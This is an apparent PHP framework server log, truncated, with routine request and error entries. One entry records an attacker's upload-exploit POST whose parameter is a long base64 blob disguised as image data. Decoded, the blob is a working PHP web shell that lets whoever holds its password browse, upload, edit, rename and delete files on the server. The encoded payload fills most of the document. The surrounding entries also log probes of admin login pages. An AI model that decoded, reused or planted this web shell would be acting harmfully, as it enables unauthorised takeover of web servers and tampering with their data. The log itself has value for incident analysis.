Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:20:49+08:00 ] 103.212.98.210 GET 59.110.137.245/login.php?s=Admin/login [运行时间:0.036365s] [吞吐率:27.50req/s] [内存消耗:136.21kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Admin', 2 => 'login', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:21:46+08:00 ] 179.43.133.162 CONNECT cloudflare.com:443cloudflare.com:443 [运行时间:0.001626s] [吞吐率:615.00req/s] [内存消耗:159.17kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'cloudflare.com:443', 'user-agent' => 'Go-http-client/1.1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:05+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/admin/webuploader/server/preview.php [运行时间:0.002934s] [吞吐率:340.83req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgIC